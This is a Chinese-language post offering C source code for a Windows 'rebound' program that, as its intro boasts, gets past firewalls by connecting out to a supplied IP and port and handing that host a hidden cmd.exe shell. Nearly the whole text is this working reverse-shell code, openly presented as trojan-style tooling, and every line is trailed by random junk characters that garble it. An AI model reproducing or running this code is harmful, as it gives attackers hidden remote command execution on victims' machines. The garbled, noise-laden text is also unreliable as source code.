这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >56I`[)
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/* ============================== :i8B'|DN5
Rebound port in Windows NT y/d/#}\:
By wind,2006/7 }k7t#O
===============================*/ +;*dFL
#include Tu*"+*r>s
#include !caY
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#pragma comment(lib,"wsock32.lib") jXCSD@?]K
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void OutputShell(); L%sskV(
SOCKET sClient; D<SLv,Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; CQGq}.Jt!
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void main(int argc,char **argv) =FfxHo1k
{ *W&}}iL
WSADATA stWsaData; t7].33%\
int nRet; kl/eJN'S
SOCKADDR_IN stSaiClient,stSaiServer; Z#nPn>,q
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if(argc != 3) 8kA2.pIk
{ ZT'VF~
printf("Useage:\n\rRebound DestIP DestPort\n"); e <]^7pz
return; $wq[W,'#L
} Q#a<T4l
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WSAStartup(MAKEWORD(2,2),&stWsaData); :<w2j6V
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }>T$2"pf
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stSaiClient.sin_family = AF_INET; a"6AZT"8
stSaiClient.sin_port = htons(0); riuG,$EX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Utv#E.VI
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \4qwLM?E^
{ ~,jBm^4
printf("Bind Socket Failed!\n"); sCi"qtHP
return; byrK``f
} M`jqUg
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stSaiServer.sin_family = AF_INET; 5OS|Vp||b
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xQ{n|)i>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "?r=n@Kv
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,-[e{=Cz
{ dH8^\s .F
printf("Connect Error!"); '1u!@=.\G
return; fP:26pK^
} h'D-e5i
OutputShell(); n>|7 k3
} #;*0 Pwe`
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void OutputShell() ]u\K}n6[q
{ q[rBu9
char szBuff[1024]; `~ ,
SECURITY_ATTRIBUTES stSecurityAttributes; 14LOeo5O
OSVERSIONINFO stOsversionInfo; iJH;OV;P
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .PHz
STARTUPINFO stStartupInfo; %%-hax.x0X
char *szShell; A3jT;D9Y%
PROCESS_INFORMATION stProcessInformation; D;RZE
unsigned long lBytesRead; .NOh[68'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <ic%c/mN
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ivdg1X
stSecurityAttributes.lpSecurityDescriptor = 0; %8N=4vTJ
stSecurityAttributes.bInheritHandle = TRUE; _Vj uQ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =Y;w O8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &Fxw19[G
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _h7qS
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e.<y-b?
stStartupInfo.wShowWindow = SW_HIDE; p"lTZ7c:Y
stStartupInfo.hStdInput = hReadPipe; $:
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vi:IO
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GetVersionEx(&stOsversionInfo); ,cg%t9
fsr0E=nV
switch(stOsversionInfo.dwPlatformId) | D?lF
{ M:* ^k
case 1: ;K+'J0
szShell = "command.com"; a*fUMhIi
break; vxmz3ht,Q
default: OB&lq.r
szShell = "cmd.exe"; \4B2%H
break; JC[G5$E
} spV E'"^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -55Pvg0ND
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send(sClient,szMsg,77,0); >gqd
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while(1) %%=PpKYtSD
{ AlQE;4yX
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >#jfZ5t
if(lBytesRead) R"0fZENTG
{ 9*"Ae0ok1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .S{Q }S
send(sClient,szBuff,lBytesRead,0); #UO#kC<2(B
} Ig*qn# Dd
else @fML.AT
{ 8D[,z 7n
lBytesRead=recv(sClient,szBuff,1024,0); n%"0%A
if(lBytesRead<=0) break; 1E]|>)$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y_mD9bgW
} f T&>L
} RkW)B^#
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return; p%_m!
}